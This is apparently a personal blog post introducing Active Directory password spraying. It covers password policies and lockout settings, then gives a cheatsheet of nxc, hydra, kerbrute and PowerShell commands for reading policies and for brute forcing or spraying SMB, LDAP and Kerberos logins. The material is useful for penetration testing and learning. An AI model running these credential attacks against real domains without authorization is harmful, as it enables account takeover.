Introduction#
This post came as a result of me learning some Active Directory exploitation techniques. I thought it would be useful to centralize the knowledge that I gathered in one post for future reference.
Here I will introduce the concept of password spraying and a bit of background, why is it such a useful technique, and, at the end, some practical techniques (feel free to skip to that part if you want). I’ll try to keep it short.
Background#
I don’t think anyone can deny the importance of passwords. They are the keys to whatever it is you’re trying to protect in the digital environment, and having strong passwords is the difference between business as usual and a complete cyber disaster.
But passwords have a hidden weakness… they are made by humans, and humans proved themselves to be very bad password generators. So bad, that we had to build mechanisms to force humans to create stronger passwords, periodically change them, and to make sure wrong attempts are punished. Welcome to Password Policies!
But before we take a look at password policies let’s talk about why strong passwords are so important.
What is a Bruteforcing Attack?#
A bruteforcing attack is a guessing attack in which an attacker possesses a large number of possible values (in our case passwords) and tries them against a system (in our case the login system) to obtain a desired result (in our case a successful login).

If our passwords are weak, the probability of them being in one of the attacker’s password lists is very high, and it becomes only a matter of time until the attacker compromises our account.
Password Policies#
Password policies were created as a response to the bruteforcing attacks. Think of them as rules / restrictions that define how good passwords should be created and processed by programs in order to build more robust authentication systems.
Here is a list of “good to know” password policies from Active Directory:
- Minimum Password Length (MPL): defines the minimum length (in characters) of a password.
- Locked Account Duration (LAD): defines the cooldown until an account will be unlocked.
- Account Lockout Threshold (ALT): defines the number of allowed failed attempts before locking an account.
There are other policies, but these three are the most important since they all make a bruteforcing attack impossible.
MPL reduces the chance of our password being in an attacker’s password list, LAD and ALT render the attack impossible since it would take an attacker way too much time to guess passwords if the account keeps locking. And also, the attack becomes less stealthy since locking accounts is a suspicious behaviour.
But these restrictions are not enough to stop attackers from guessing passwords…
What is Password Spraying?#
Password spraying is a technique where an attacker uses a list of valid users (account usernames) and tries one password at a time against each account. This way the attacker avoids locking one account and still gets a promising guessing chance.

The purpose of a Spraying attack is to check misconfigurations in Active Directory. An attacker would usually build a smaller list of highly likely (or even known) passwords and check if any account gets a match. It is certainly not as dangerous as a bruteforce attack, but it proved to be pretty effective.
Getting Practical#
I would like to get a bit practical and showcase the commands that are used to perform password spraying on real infrastructure, this section can serve as a cheatsheet and not an explanation of what each command does.
You will see environment variables in some of the commands, here is their meaning:
export TUSER='john.smith' # account username (target user)
export TPASS='password123' # account password (target password)
export DOMAIN='corp.local' # Domain name
export TARGET='10.0.0.10' # Machine IP on the networkChecking Password Policies#
First it would be useful to check the password policy of the machine we are targeting or the entire domain. We can do that in multiple ways:
# when authenticated
nxc smb "$TARGET" -u "$TUSER" -p "$TPASS" --pass-pol
nxc ldap "$TARGET" -u "$TUSER" -p "$TPASS" --pass-pol
enum4linux-ng -P -w "$DOMAIN" -u "$TUSER" -p "$TPASS" "$TARGET"
rpcclient -U "$TUSER%$TPASS" "$TARGET" -c 'getdompwinfo'
# when not authenticated (might not work, but worth trying)
nxc smb "$TARGET" --pass-pol
rpcclient -U "" "$TARGET" -N -c getdompwinfo# Powershell
Get-ADDefaultDomainPasswordPolicy
# CMD
net accounts # Local accounts policy
net accounts /domain # Domain accounts policyBruteforcing#
When there is no lockout threshold policy in the domain we can try bruteforcing account passwords. Here is how to do it:
# with one user
nxc smb $TARGET -u $TUSER -p pass.txt --continue-on-success
nxc ldap $TARGET -u $TUSER -p pass.txt --continue-on-success
hydra -f -V -L users.txt -P pass.txt $TARGET smb # does not work for SMBv2/v3
# with a list of users
nxc smb $TARGET -u users.txt -p pass.txt --continue-on-success
nxc ldap $TARGET -u users.txt -p pass.txt --continue-on-success
hydra -f -V -l $TUSER -P pass.txt $TARGET smbSpraying#
If the lockout threshold policy is enabled we need to make sure that we are not locking the accounts we are trying to spray. Usually it’s best to run sprays with one password at a time.
# with one password
nxc smb $TARGET -u users.txt -p 'Password123!' --continue-on-success
nxc ldap $TARGET -u users.txt -p 'Password123!' --continue-on-success
kerbrute passwordspray -d $DOMAIN --dc $TARGET users.txt 'Password123!'
# with a list of passwords for each user
# example: user1 -> password1, user2 -> password2, etc.
nxc smb $TARGET -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
nxc ldap $TARGET -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# see https://github.com/Greenwolf/Spray
./spray.sh -smb $TARGET users.txt passwords.txt <AttemptsPerLockout> <LockoutDuration> $DOMAIN# see https://github.com/dafthack/DomainPasswordSpray
# and https://github.com/wavestone-cdt/Invoke-CleverSpray
# with one password
Invoke-DomainPasswordSpray -Password 'Password123!' -UserList .\users.txt
Invoke-CleverSpray -Password 'Password123!' -UsernamesFile .\users.txt
# with a password list
Invoke-DomainPasswordSpray -PasswordList .\passwords.txt -UserList .\users.txt
Invoke-CleverSpray -PasswordsFile .\passwords.txt -UsernamesFile .\users.txtConclusion#
Things can get a bit more complex when it comes to password attacks, surely there is more to say here, but I believe this is a good enough introduction. I might keep the cheatsheet here updated in case I find new and interesting ways to spray passwords. Hope you found it useful!
References#
Here is a list of resources that I used to create this post. It’s good rabbit-hole material. 😉

